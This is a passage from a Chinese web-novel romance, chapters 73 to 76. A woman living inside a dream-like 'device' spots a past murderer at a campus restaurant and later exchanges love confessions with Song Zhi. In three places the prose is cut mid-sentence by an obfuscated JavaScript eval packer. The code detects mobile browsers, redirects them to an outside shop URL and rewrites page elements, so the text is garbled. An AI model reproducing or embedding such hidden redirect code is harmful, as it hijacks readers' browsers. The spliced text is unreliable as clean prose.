说话间,卢宇年剜了李豫一眼。 雎安讪笑道:“我对着风口,突然有些凉而已。” “那让李豫和你换个位。”卢宇年也不和李豫商量,直接拍板决定,扯李豫的手想让他站起来。 雎安见李豫被突如其来的动作惊到,站也不是,坐也不是,替他感到尴尬的同时,更是不满卢宇年此刻的做法。 看来装置里的他和现实的他无甚差别,只不过,还没做出更恶劣的行为罢了。 雎安不想和他一起坐,遂举起手,掌心正对着卢宇年道:“不用,我这挺凉快,而且......我想和香香的美女们坐一块。” 雎安之所以说香香的,是因为今天沈薇喷了香水,霸道的香味偶尔会压过鸡公煲的香气。 兴许是觉得有趣,卢宇年此刻情绪还可以,故意逗她,“合着我们就是臭小子了?和帅哥坐有什么不好。” 雎安正想回怼,却被沈薇打断。 “你们刚打过球吗?”沈薇眨巴着眼,并无恶意,“确实有一点点汗臭味耶。” 果然是沈遂行那个鬼人的妹妹,狗嘴里吐不出象牙! 卢宇年此刻已有怒气积攒,“你胡说什么?我还没说你一身廉价香水臭死了。李豫你过去,叫雎安过来。” 韩婕看不惯卢宇年的言行举止,直言道:“雎安的意思是,她不想和你换。” 语毕,卢宇年猛地看向沈薇和韩婕,阴鸷的双眼透着寒意,竟在炎炎夏日让她们打了个寒颤。 见状,李博勤赶忙出声缓和气氛,“哎呀,不换就不换,尊重女孩子的意愿嘛。不过,沈薇你得道歉啊,我们可没打球出臭汗哦,是你们旁边的大哥......” 李博勤的声音很轻,用得是挤眉弄眼的方式提示大家看沈薇身旁的大哥。 大哥白色的上衣已经被汗湿,健硕的胸膛、结实的臂膀、小麦色的肌肤清晰可见,看着就是个不能惹的狠人。 但现下,即便他们这边动静如此之大,大哥来来回回地忙碌着,手上都是油污,根本没将除工作外的一切放在眼里。 “对不起,我不会乱说话了。” 沈薇吓傻了,之前她跟着哥哥见过卢宇年几次,还是第一次见他这般动怒,眼神像是要将人生吞活剥般可怕。 反倒是平时看着柔柔弱弱的刘礼晨,面露愠色,似要起身做什么。 雎安踩了踩她的脚,引起她的注意,提示她别冲动。 在雎安看来,比谁更冲动,卢宇年必胜。 接下来,沈薇乖乖地坐在位置上不说话,不敢再隔着韩婕问东问西,在察觉到卢宇年周身的低气压始终未散时,始终如坐针毡,只想赶紧离开。 她在群里提议回宿舍,一边发动大家约车,一边食不知味地扒拉着饭。 而雎安完全没注意到手机信息,她的注意力都在陈高升身上,也就是刚刚那个汗臭味极为刺鼻的大哥。 2023年的他比现在的他柔和了许多,而现在的他又比2012年的他温和了很多。 一想到他在杀害叶扶英老师后,还好好地生活了11年,并且岁月还舒展开了他狠厉的眉眼,雎安的心里升起一股怒火,握着筷子的手也在默默使力。 “慢点吃。”温柔的声音让雎安和沈薇俱是一怔,“你这样很容易呛到。” 是金浩晨。 此刻,他站在沈薇的后方,侧身往前,对着囫囵吞枣的沈薇笑了笑。 “喝这个消消食吧。”宋挚从另一侧走到雎安身边,将四杯柠檬茶放在桌上,浅笑道:“我记得沈遂行吃饭是出了名得慢,说是之前吃太快伤着胃了。” 不知道宋挚是否有意,几乎精准踩中卢宇年的雷点,先是以极其自然的姿态宣誓主权,后边又提一嘴沈遂行。那个卢宇年父母亲自选来管教他的小家长。 果不其然,卢宇年的面色变得很难看,即便是来赴约的金浩晨,当下都果断选择离他远点。 宋挚却视若无睹,熟络地和雎安的舍友打招呼,即便只有沈薇和他见过几面。 “呀,男朋友来接你回宿舍啦?”韩婕对着雎安和宋挚说这话时,还故意瞥了眼卢宇年,“不知道能不能把我们三个也捎回去啊?” 不等雎安回答,刘礼晨疯狂地点头。 雎安心中却是惊雷大作,她在室友面前胡诌,说她亲完宋挚后,被舍友们不断地追问“然后呢?然后呢?”,一时脑袋发懵,顺口就说她和宋挚在一起了,完全没想过这事要是被捅到宋挚面前的话,该怎么解释? 虽然,她笃定宋挚会很欣喜,可是...... 宋挚轻轻一笑,竟是毫不意外。 他看了眼耳根泛红的雎安,俯身问道:“当然,我能有荣幸送你们回宿舍吗?” “那么急干嘛?”卢宇年强势闯入这个愉快的氛围里,声音低沉且阴冷,指着原本预留给金浩晨的座位说:“你才刚到,坐下一起吃点。” 宋挚站起身,眸色渐冷,态度坚决,“我吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“嗯,好。”雎安答得十分爽快。 她明白可恨之人必有可怜之处,但别人就算再可怜,她也不能因同情心泛滥而搭上自己。 以宋挚对雎安的了解,他知道她是听进去了,先是长舒一口气,而后缓缓地露出了笑容。 韩婕和刘礼晨迟迟等不到人,只得透过车窗,眨巴着眼,笑眯眯地看着他们。 雎安本就因为与宋挚的长时间对视而害羞,慌乱中别开眼,又碰巧对上了刘礼晨探寻的目光,脸倏地红透,极不自然地朝宋挚笑了笑,快步走向副驾驶座。 见雎安匆忙上车,宋挚还未跟上,刘礼晨赶忙问道:“说什么啦?和小男友说这么久。” 雎安扯唇一笑,坐定后,只说了柠檬茶的事,并承诺明天请全宿舍喝奶茶,作为今晚没喝到柠檬茶的补偿。 闻言,刘礼晨和韩婕直说不用。 “我们知道那是小男友为你准备的,让他请回你就行了。” 宿舍四人逐渐熟络后,最内向的刘礼晨也外放了许多,但仅限于宿舍内,从宋挚打开驾驶座车门的那刻起,她便不出声了。 同时,雎安也极不自然地摸了摸鼻子。 宋挚当然知道她们在讨论他,但他丝毫不露怯,一边系安全带,一边询问:“有晕车的人吗?要开空调还是开窗?” 无人回应。 雎安记得沈薇是会晕车的,便转头询问刘礼晨和韩婕,“沈薇好像晕车,要不开窗吧,可以吗?” “可以。” “没问题。” 闻言,沈薇终于回过神来,内心有些感动,对着雎安感叹道:“我随口说了一次,你就记住了。雎安,你可真好~” “没什么啦~” 雎安被夸,害羞得别开了眼,宋挚却低低地笑了。 雎安不解,直接问道:“你在笑什么?” 宋挚摇头,转动车钥匙启动,“笑我的反应还是那么迟钝。” 他没看她,她却觉得她已经被他看透了。 74. 世事无常,及时行乐。 就在宋挚驱车离开之际,陈高成从店里冲了出来,敲了敲雎安这边的车窗。 雎安的心突突跳,深吸一口气后,开窗去看,发现他手里的是沈薇带的随身小包。 “靓女,你们有东西漏在座位上了。” 于是,她回头去看车上的沈薇,发现她又沉浸在恹恹的、并不说话的状态中,于是便替她接过包包,并向陈高升道了谢。 陈川亮刚说完不用谢,雎安就听到店里有人喊他亮哥,他便又急匆匆地跑了回去。 要是不知道他做过什么,雎安肯定会以为他是个勤奋努力的好心大哥。 天色已晚,山庄内并无路灯。 车窗两侧不断闪过如人般高大的植被,除去车灯能照亮的地方,其余什么都看不清。车内的电台正在播报最新的新闻,主持人幽默风趣的时事点评让雎安不禁轻勾嘴角。 宋挚透过车镜看到雎安的表情,不自觉地模仿她的表情,嘴角轻勾,好似身体的每一个细胞都能随之愉悦,直到他注意到沈薇煞白的脸和僵直的身体姿态。 “沈薇,你怎么了?” 山庄开阔的道路比城市里拥堵的车道要好开得多,宋挚以为沈薇不舒服,便直接放慢车速,想要确认情况。 谁知沈薇看车速放缓,反而应激般地叫了一声,高喊快走快走。 车内的人都被沈薇吓了一跳,坐在后座中间的韩婕一把抱住沈薇,企图以此平复她的情绪。 等车开进校园,车窗两侧灯火通明,沈薇才缓过劲来。她声音有些颤抖道:“刚刚...刚刚我看到,车窗外有人...有人站在青纱帐里,他探出眼睛,直勾勾地盯着我们。” 韩婕眉头紧拧,“你是不是下午的时候被青纱帐的故事吓到了?” 沈薇连连摆手,抬头去看韩婕,眼神坚定,“真的有个人站在那,他眼睛和狼一样,眼里还闪着光!” 听到这,雎安觉得沈薇的话虽有可信度,但并不高。她知道沈薇胆子小,刚刚被卢宇年吓到,又被暗恋的人看到狼吞虎咽的样子,出现心理应激也能理解。 雎安回头,轻声安慰道:“别害怕,沈薇。我吃饭的时候查了一下,那片地是甘蔗林,多半是附近村民种的,他们偶尔来看看自己的农作物,听到声音,再好奇地看看路过的车,是很正常的事。” 谁想到刘礼晨看眼手机,像是发现什么不得了的事,猛地瞪大双眼后,不安且小心翼翼地问出口:“我才发现今天是中元节哦!沈薇不会是见鬼了吧?!” 雎安:“。。。” 宋挚:“。。。” 待白色沃尔沃停在宿舍楼下,后座的三人道完谢,便直接推门而出,一下车便飞奔回宿舍,想来是真信了中元节晚上会见鬼的说法。 雎安因为要解安全带,动作稍慢些,其他人已经踏入楼道,她才走到车前。 宋挚思索片刻,将头探出车窗,只一声“安安”,雎安的呼吸都有些乱了。 “刚刚没被吓到吧?”宋挚下车,走到雎安面前站定。 雎安摇头,“我还好。” 宋挚知道雎安胆子小,她害怕的事物有很多,多数时候被吓到,当下先是呆住,而后表现得很平静,但半夜却会做噩梦惊醒。 “艾草是纯阳之草,这是艾草香包,把它放在枕边,可以用来辟邪。” 宋挚刚刚下车的时候,将车里的挂件给拿了下来。 “如果你还是害怕,可以找我聊天,多晚都行。” “可是……我住宿舍,打电话会吵到舍友的。”这是雎安第一反应下给出的回答。 话音刚落,她便看到宋挚的唇角止不住地上扬,便知道自己又让自己落入到了陷阱里。 这不是变相承让她其实很害怕,晚上想找他聊天吗? “安安~” “嗯?”失神的雎安一惊。 “你说,我是你男朋友吗?”宋挚一边问,一边向她靠近,两人之间的距离在逐渐缩短。 雎安的心跳漏了一拍,“你别介意啊,是她们理解错了我的意思,不是故意在开你的玩笑。” “理解错了意思?”宋挚抓到了重点,饶有兴致地追问,“这是什么意思?” 雎安的神色异常慌乱,咬了咬牙,将舍友作为挡箭牌,道:“就……就是我们聊天的时候,我提到了你,她们就误以为我们在一起了。” 短暂的沉默,气氛一时有些尴尬,直到宋挚开口。 “我生气了,安安。”宋挚蹙了蹙眉。 他又不傻。 起初,韩婕直接调侃雎安,说她男朋友来了的时候,他就察觉出不对劲。只是,当时他的注意力放在了卢宇年敌意的目光上,所以没能反应过来。而第二次在车里的时候,她的朋友完全以她为主、且她也下意识地忽略他的时候,他便明白了。 她一定是和舍友们说了些确切的信息,才会让姐妹们如此放心而笃定地当众调侃,因为那完全不是对待姐妹的暧昧对象的态度和做法。 “我气我自己迟钝,以为你早就已经把我当男朋友,而我还在纠结,这一切会不会太快。”宋挚叹了口气,“原来是我自作多情。” 宋挚俊美的面庞在暖黄的灯光下显得十分柔和,温柔得如同江南的春风轻抚水面,而这般温柔的他,却用失落至极的表情,说着如此落寞的话。 雎安突然感到全所未有的不安和惶恐,这是一种名为害怕失去的恐惧。 “不,你……” “安安。”宋挚直接打断她,“明天你有空吗?” “有。”雎安应得极快。 “那我们明天见?” 雎安目不转睛地看着宋挚,好似想借此将他看穿,看穿他是否会因失望而消失,然而,她从他的目光中,只感受到了炙热和期待。 由此,她舒了口气,安下心来,“好。” 原来,她一直都很容易脸红啊。 宋挚驱车离开时,无声地叹了口气,眉眼的笑意始终未退。 ———————— 雎安的心态变了。 虽然只是一个晚上,但她却想通了很多道理,而让她感触最深的,就是“世事无常,及时行乐”。 回想以往,她总是畏手畏脚,好像坦荡些活着就会被剥夺一切,小心翼翼,畏首畏尾,想要却不敢争取。 到头来,命运并没有因为可怜她而奖赏她,反倒让那些敢于做自己的人不断地在她身上吸取能量。 兴许是认清了现实,知道就算是在装置里做个短暂的美梦,都是多么难得而珍贵的体验,她好像在顷刻间,就变得格外坦荡,变得能听见自己内心的诉求,恨不得即刻找到宋挚,大声告诉他。 “我想亲你!我想抱你!我想和你在一起!” 沈薇听到这句话的时候,差点吐血,双手抓着雎安的大臂,以恨铁不成钢的语气道:“这一点都不浪漫,雎安你醒醒!上次就是你先亲的人家,这回可是表白啊!这种事不应该让男生来吗?” 雎安一早便在宿舍“坦白从宽”,老实交代了自己其实还没有正式和宋挚在一起。 “可是,他已经说过很多次喜欢我了。”雎安回想和宋挚在一起的点点滴滴,“他的眼神、说的话和做的事,都一直在告诉我,他喜欢我。” 刘礼晨被雎安的话雷到,险些跌倒,没想到她这么快就给宋挚装上了女友滤镜,“话说,你们不是上周日才第一次见面吗?” “对啊。”雎安愣了会儿,竟有些没反应过来。 她将记忆中和现实中与宋挚的互动给代入了进来,一时间,还以为自己和宋挚已经有了近一个多月的接触和了解。 “不过,认识的时间不是重点啦。” 闻言,韩婕和刘礼晨的嘴角俱抽搐了一下。 过后,刘礼晨更是在和雎安去食堂打包午餐的路上,拉着雎安到食堂外的一处角落站定,慷慨激昂地提醒她:“但是,你太急了也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16454880|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。虽然说宋挚的妈妈是邓老师,他大概率......应该不会是什么口蜜腹剑的人。但骗女孩子这种事真不好说,新闻里不是爆出来很多人前君子、人后禽兽的男人吗?有的男人作为朋友是很不错,但作为恋人是非常非常雷的。我觉得吧,女生还是谨慎点好,免得被骗了。” 刘礼晨的话一点毛病都没有,和雎安以往的理念不谋而合。 雎安更是清楚,她这番话是出于好意,故而抓着她的双肩,开玩笑道:“谢谢刘军师!你的话,我一定会谨记于心。为了表示感谢,让我请你喝夏日的第一杯果茶吧。” “咳咳!” 她们的身后突然传来男人的咳嗽声,声音格外有力,一听就不是生病所致,明显是在吸引谁的注意力。 “两位女士,要不......你们的果茶我来请,可以吗?” 雎安尚未回头,仅凭声音便知道是他。 当她带着掩饰不住地笑意回头,果不其然,宋挚就站在她身后,歪着头朝她轻佻眉头,算是打过招呼了。 “咳咳。”刘礼晨以其人之道、还其人之身,学着宋挚咳嗽两声,提醒旁若无人的两人,“我就不做电灯泡了,告辞!” 话音刚落,刘礼晨就已经闪进食堂,动作快地像道闪电,人影都不见了。 雎安被她过于机敏的反应弄得有些尴尬,不自然地摸摸鼻子,眼神开始乱瞟,一时间竟不知说些什么好。 看吧,这就是她,明明刚刚还斗志昂扬,恨不得立刻闪现到宋挚面前表白,此刻本人站在她面前,她却连对视的勇气都没有,再次缩成了一只小鹌鹑。 “你有没有发现,我今天有什么不同?”宋挚率先打破沉默。 “不同?” 雎安这才打量起宋挚,从头到脚细细地观察了一番,注意到他身上穿的不再是他日常总穿的黑白灰三色,而是明媚的浅黄色上衣,小配饰的颜色也和衣服相映衬,明显是刻意打扮过。 而且,他的手一直背在身后,应该是拿着什么东西,故意不给她看。 “你是不是......有东西要给我?”雎安问道。 宋挚笑而不语,却没有下一步动作。 眼见他的笑容愈加甜蜜、也愈加得意,雎安的心跳在不断加快,竟是不甘心自己被他牵着走,头脑一热,双手便直直地环了过去,整个人倾倒在他怀里,双手触到了他身后藏着的花束。 “是花!”雎安的下巴抵在他的胸前,抬头问道:“是栀子花吗?” 宋挚面上的笑意收敛了几分,眼眸如墨般漆黑深邃。 雎安试图从中看出些什么,却发现他里边仅有的在轻微波动的色彩,就是她。 “你知道栀子花的花语?”宋挚并不在意雎安有些霸道的行为,抬起右手,轻轻地将雎安额前的碎发理顺,另一只手索性也不藏了。 雎安便看见他左手拿着的,是一束极为张扬美艳的红玫瑰。除此之外,他还提着一个包装得极为精美的淡黄色礼盒。 “怎么是玫瑰啊?” “你还没回答我的问题。”宋挚不依不挠,低头追问时,他的鼻息打在了雎安的脸上。 雎安面上痒痒的,心也跟着乱了,加上宋挚还刻意压低声音和她说话,声音变得轻柔的同时,也变得极有磁性,偏两人此刻的距离还格外得近。她觉得身上好似有电流经过,又酥又麻。 “我知道啊。”雎安松开环抱着宋挚的手,往后退了一步,“喜悦、坚强,永恒的爱,还有......一生的守候。” 宋挚反应极快,一把抓着她的的手肘,在她想要退缩之前,坚定地前进,两人之间的社交距离再一次被隐去。 “安安,我想告诉你,除了一生的守候,还有我爱你。” 三生三世太过缥缈,他能肯定的是,他这一生都会守候着她。而在当下的这一刻,他最想告诉她的并非是守候,而是我爱你。 这就是他手握玫瑰的原因。 75. 美梦会醒,美梦也可以成真。^^…… 宋挚将玫瑰花束送到雎安的怀里,玫瑰浓郁的香气瞬间将她包围,她抬眼去看宋挚,感知到他火热的视线,很快就将视线收回,慌忙地探头去闻那束肆意绽放的红玫瑰,她的眉睫微颤,脸颊开始火辣辣地发烫。 “嗯,好香啊~” 可她觉得,这气味不如宋挚身上的香气。 他身上的气味好似雨后竹林般清冽,但却并不让她有距离感,还透着种让她安心的魔力。 见雎安低垂着头,似乎想以此来掩饰什么,宋挚面上的笑意早已是掩都掩不住,指了指她衣服上的红色小熊猫,道:“而且很配你。” “宋挚。” “嗯?” “你好会哦,以前没少经历吧?”雎安这话醋溜留的,却让宋挚的心好似浸过蜜般甜蜜。 “嗯,确实没少经历。”宋挚有心要逗一逗雎安,说完这话后还刻意停了好一会儿。 这一小段时间里,雎安的失落溢于言表,若这情绪能化身为毒液,那她手里的玫瑰早已枯萎殆尽。 可不等雎安再醋下去,宋挚看见她低落的表情、黯淡无光的眼神和就这么坠下去的眉眼,瞬时和记忆中的某个画面重叠,他的心也跟着下坠,心中的酸涩让他无法再笑出来。 “是你啊,小傻瓜。这是你说过的话,也是你给过我的惊喜。” 他轻抚她的发顶,极为郑重地解释道:“当时我感觉很甜蜜、很幸福,有一种美梦成真的恍惚感,所以记了很久很久,一直都没忘记。” “我知道,你的生活一直都不轻松,就算是在极为平淡的日子里,也一直承受着很大的压力。你的难受,你的力不从心,我都知道,可有的事......必须由你来,失败也没事,尽力了就无悔。” 他的手轻轻地拂过她的脸,“因为安安你已经很棒了,以你的生长经历,在你的人生轨迹里,你已经做得很好了。以往,你总觉得我无所不能。可你看,现在你的很多事,我不也有心无力吗?” 是啊,她在现实中发生的事,即便他能引导她,却无法介入帮助。 世事无常,千变万化,她最后还是得靠自己。 他叹了口气,声音低柔了许多,“所以,我就想要做些什么,让你能感受到这份甜蜜,也能凭着这段记忆幸福很久很久。至少,能放心地表达爱,也能大胆地哭出来。” 不知何时,也不知是在哪句话的间隙,雎安的眼泪控制不住地往外涌,可她偏倔犟地咬着唇,就是不肯让自己哭出来,却在宋挚最后那句话脱口的瞬间,再也压抑不住自己的情绪,原先强忍的眼泪哗啦啦地掉,与玫瑰花一并扑进了宋挚的怀中。 此刻,她任由眼泪一滴滴地打落在花瓣上,反倒让失去土壤滋养的玫瑰花变得更为鲜活、更有生命力。 活了二十四年,她第一次听到,有人说能理解她这些年压抑的情绪,说希望她幸福甜蜜,允许她脆弱敏感,允许她软弱无能,允许她做不好某件事,真正的在注重她这个人,注重她这个人的感受。 “我是不是在做梦?”雎安抽噎着,环抱的手收得极紧,紧得宋挚快要喘不过气,可宋挚丝毫没有让她松开的意思,反倒轻微侧身,为雎安挡住路人投来的探究目光。 他私心,不想让其他人看到雎安狼狈痛苦的模样,可他又实在怀念两人相互依偎的感觉。其实他很清楚,他刚刚的那番话会让雎安情绪失控,会让她痛哭流涕,毕竟他和她曾那样亲密。 她懂他,他更懂她。 雎安哭够了,便在宋挚的怀里抽泣,也不知过了多久,久到雎安忘记了怀里还有玫瑰花的存在。 “我受不了的,宋挚。” 她突然松手,退后了一步,想抬眼看清宋挚此刻的表情,两人怀中的玫瑰花瞬时跌落,“这么美的梦,终有一天是会醒的。等梦醒的那天,我一定会受不了的。” 泛着冷色的灰色地砖,玫瑰几乎在要落地的瞬间,却被宋挚一把接住,她愣愣地看着宋挚屈身的动作,还有那置于两人之中的玫瑰。 “雎安。” “嗯?” “可你和我说过,美梦会醒,美梦也可以成真。” 食堂外的灰色地砖是之前的工厂铺设的,因为年份久远,不少地砖已有极大的裂缝,裂缝间堆积了不少陈年的污脏废水。 而宋挚为了接住那束玫瑰,一把跪在了污水里。 污水飞溅,溅得他的鞋袜上都是污点,可他毫不在意,他的目光,始终在他的爱人身上。 “因为,事在人为。” 曾经,她就是这么鼓励他的。而今,轮到他来鼓励她了。 ———————— 雎安想,她永远都无法忘记今天发生的一切。 她痛快地哭,疯狂地吃,极速地跑。 在食堂燥热的天台上,在操场嘈杂的人群中,在校道昏黄的灯光下,她表白了三次。 第一次。 “宋挚。” “嗯?” “能遇见你,真好。” “那是因为你本身就很好,所以我总能一眼就看到你,看到你就有了解你的欲望,越了解你就越想靠近你,越靠近你,心也会跟着靠近。” “直到有一天,我终于意识到,这是爱。” 在食堂的天台上,他们看到了远方静谧的群山,听到了不远处的操场传来的歌声,闻到了从火车轨道旁的村庄飘来的柴火香。 雎安激动地攀上栏杆,眺望操场众人歌唱的中心,试图寻找声音的来源,“好浪漫啊~” 宋挚心口随着她往外探的动作起伏不定,但他并不想扫她的兴,遂用双手紧紧地抓着雎安的手肘,眉眼柔和地望着她展开的喜眉笑眼,道:“是啊,好浪漫。” 第二次。 “宋挚。” “嗯?” 雎安捏了捏宋挚的手,“我想和你一直一直在一起。” 突然,一个男生与两人擦肩而过,一路小跑至操场中央,拉着音响,背着吉他,说要为大家带来一首《万有引力》。 操场上响起一阵又一阵欢呼。 “你刚刚说了什么呀?我没听见。”雎安的注意力都转到了那男生清亮的嗓音上,一时竟无心注意宋挚的回答。 宋挚无奈地笑了。 他弯下腰,恶作剧般,刻意将嘴唇贴在雎安的耳边,语气却格外轻柔:“我说,我们会一直一直在一起的。” 第三次。 “宋挚。” “嗯?” 雎安一把扯住宋挚,将他拉到宿舍楼后的校道上。宋挚不明所以,左右转身的时候挪动了位置。 雎安见状,瞬间瞪大双眼警告宋挚。 宋挚更懵了,但仍立即摆正自己,回到原位。 “宋挚,我喜欢你。” 整七点,即将前面陷入黑夜的校园骤然被点亮,一切都是那么得刚好。昏黄的灯光打在两人身上,有一种说不出的缱绻依恋。 雎安的面上有掩饰不住的得意,“这就是我昨晚想了很久,今早还参考了舍友的建议,才想出来的告白仪式。我还特地算好了时间的,怎么样?” 闻言,宋挚的嘴角抑制不住地上扬,“你昨晚就在谋划着怎样向我表白?” “嗯。”雎安应答时仰着头,虽然羞涩,却大方地直视着宋挚的眼睛。 她自己都没想到,原来敞开心扉后的她,可以这样坦荡地表达爱意。 这种感觉太神奇,让她蓦地产生了极大的幸福感。而这幸福感的来源不仅仅是宋挚,更大一部分,是来源自她自己。 因为比起宋挚给予的汹涌且热忱的爱意,雎安更感动于自己原来是有能力给予爱的人。 本以为需要历经半生风雨才能有所改变的事,不是半生,不是十年,甚至不足一月,不过是短短几天,她便做到了。 或许,一直以来,就不是她做不到,而是她一直被压抑着。那压抑她的人,兴许是她自己,兴许是她的父母,兴许是她生长的环境和她交往的人。亦或是,全都有吧。 原来,她的内心其实是充满爱的,她并不是个爱意贫瘠的人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464931|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “雎安。”宋挚唤回她的思绪,轻轻地捧起她的脸,语气格外温柔,“你还记不记得,下午我给你讲我们在2026年相遇的故事时,你说过的话。” “什么话?”雎安的眸中闪过一丝疑惑。 “你说,你不喜欢我们相遇的方式,很像是那种轻浮的异乡艳遇。” 宋挚的话瞬间唤醒雎安的记忆。 这话,她确实说过。 当宋挚讲述她和他在成都的暧昧故事时,雎安说了这句话。而这,也确实是她的心里话。 她在网上看过太多相似的发展,都是旅行中发生的艳遇,短短几天,男女互相试探,在异乡本就带有的新鲜感下互生情愫,然后邀约,发生关系,一气呵成,之后便没有下文。就算有下文,也是重逢后的尴尬,亦或是因为性又纠缠在一起的故事。 “你说的没错,与我们而言,那确实是艳遇。”宋挚定定地看着她的眼睛,“或许你该想想,以你的想法,以你的个性,我回华州以后追求你,最终和你在一起的这个过程,会有多曲折。” 雎安猛地瞪大双眼,这句话点醒了她。 故事和记忆里的她,是如假包换的她,虽然相隔三年光阴,但她们的想法应该不会差得太远。 异乡遇知己是很浪漫,但以她的个性,肯定会觉得美好的回忆停留保存在那一刻就好了,回去以后不仅不会再找宋挚,说不定还会躲着他、避着他。 是啊,她有这该死的极其别扭的个性。 “可......我也说过,有这么多偶然,这么多的奇遇,我们还真是命中注定的话啊~”雎安赶忙找补,反将一军,“你忘啦?” 宋挚笑着摇头,“我没忘,我记得很清楚。” 突然,火车发出的鸣笛声打断了两人的对话,他们静静地对望,直到火车缓缓而过,只留下一声又一声的笛鸣回荡在群山中。 “雎安。” “嗯?” “如果你知道,其实有很多次你觉得是巧合的遇见,是我在背后默默努力。你会不会有些失望?” 他记得很清楚,在熊猫基地的那次,明明困得不行,但还是坚定地起了床,在地铁上打盹后便顶着烈日在园区里游荡。他是从西门进的园区,一路走一路看,别人都在注意围栏里的熊猫,而他却在注意围栏外的人群。 头脑还未明晰的不明情愫,心却指引着身体,不断靠近他所渴望的人。 那时,他还不知道这就是爱的吸引,只是单纯跟着他的心,做他想做的事。而当他被困意侵袭,垂头坐在休息区时,想见的人主动来到了他的身边,潮落的情绪顷刻间潮起,他很难形容那时的感觉,因为太过奇妙。 而他刚刚捧着花在楼下等待,坐在宿舍楼外的台阶上望着她宿舍的方向时,这种熟悉的奇妙感再次浮现。 其实,类似的事发生过很多很多次。 起初,他还会寻个借口,后来,当拙劣的借口用尽,他终于意识到,这一切行为的动机,都不过是想见你。 “不会,我怎么会失望呢?”雎安很快明白过来,眼眸随即泛起泪光。 她不想自己总是哭,哭得她自己都有些倦了,可感动的眼泪完全不受控,不过一次眨眼便浸湿了她的眼睫,再一次眨眼便倾巢而出。 “阿挚,我爱你。” 或许,多次的偶然会让人觉得这就是天定的宿命。可她觉得,人为的促成又何尝不是宿命? 而这宿命,还包含着对爱的赤忱。 在宋挚的手即将触到雎安脸颊的瞬间,雎安的一把抓住他的手腕,阻止他的动作,另一只手攀上他的腰,借力踮起脚,毅然决然地吻了上去。 这吻没有丝毫犹豫,在念头出现的那一刻,她便这么做了,即便吻得很轻柔,不过蜻蜓点水,却不似上回那般草率,而是饱含着她倾巢而出的爱意。 只是,她仍然不敢去看宋挚的反应,怕她和他对上视线的瞬间、火花四溅,怕他会在这校道上大胆地回以热吻。 所以,她再一次,亲完就跑了。 76. 骇人的尖叫声 叮~ 手机弹窗突然跳出辅导员的通知,让对着宋挚的微信头像痴痴地回忆甜蜜瞬间的雎安,终于从中抽离了出来。 她在干嘛啊?刚刚是一直在对着手机傻笑吗? “没错,你刚刚一直在傻笑。所以,如果你现在觉得脸很僵的话,完全是正常现象。”刘礼晨觉得自己隔着一个床位都闻到了恋爱的酸臭味,“快说!是不是宋挚向你表白了?” “嗯。”雎安点头的时候,只发出了很轻的一声。 她扯起被子遮挡自己翘起的嘴角,略带害羞的往后仰,却险些撞到身后的床架子。 刘礼晨看她乐得那傻样,忍不住感叹,果然是智者不能入爱河。恋爱时的雎安,乐呵呵的模样真得好傻! 就在刘礼晨扶额的间隙,雎安收到了宋挚的短信,她略过辅导员的通知,查看宋挚发来的内容。 他提醒她,别忘了下午要一起去校外骑车的约定。 见此,雎安的眼睛笑成了一条缝,果断应了好。 昨天,他们漫步在校园中,从白天游荡到夜晚。 “你有想去的社团吗?”宋挚自然地牵起雎安的手,宽大温厚的手掌好似自有细微的电流穿过,弄得雎安的心酥麻酥麻的。 “重返校园生活,这毕竟是千载难逢的机会,如果你有想去的社团,大胆去体验。不用在乎能体验多少,走马观花也很好。” “我,嗯......”雎安想了好一会儿,“我学过钢琴。” 在家里的经济条件尚且宽裕之时。 雎安没说完,斟酌后说道:“但我不是很喜欢。反倒是骑行,我挺有兴趣的。” 宋挚回头,放慢脚步,“那你要不要去骑行社看看?我听说华州财经的骑行社每年都会去华江来一次18公里的环江骑行。” “可是我不会骑单车。”手心的温热触感让雎安有些恍惚,她挖苦自己道:“只是有兴趣,嘴上说说而已,我很废吧?” 雎安在调侃自己,语气轻快,嘴角微微扬起。但宋挚能清楚地感受到她失落的情绪,正缓缓的无声地冲击着他的心脏。 “我教你就好了。”宋挚极为认真地说道:“没有什么废不废,只是有没有机会学习、学习速度快慢的区别而已。就算十个人里有八个人会骑车,剩下的两个人也不是异类。我有信心,也有耐心,一定能教会你。” “可我没有自行车。或许,学校外的共享单车可以吗?” “可以,到时候等你学会了,就一起去环湖骑行。”宋挚眉眼一弯,补充道:“我们两个人,去追一场落日,如何?” 临近六点,食堂里的人寥寥无几,但饭菜的香气却是扑面而来。 “你饿吗?”宋挚站在食堂门前,询问道:“要不要吃晚餐?” 此时,一个身着黑色碎花长裙的女生经过,和身边一行人有说有笑的进了食堂。 雎安的眼神紧随着她的脚步,目光明显得让宋挚也注意到了她。 “认识?” “嗯,是我以后的同事。”雎安笑了笑,“就是有些惊奇,虽然知道她是学姐,但以前都没注意到她。” 宋挚牵着她往里走,本着绝不让她的话落在地上的原则,应道:“很正常,一个学校里有这么多人。” 两人走到打饭窗口前,雎安见到有刚出锅的糖醋里脊,开心地踮起脚望啊望。 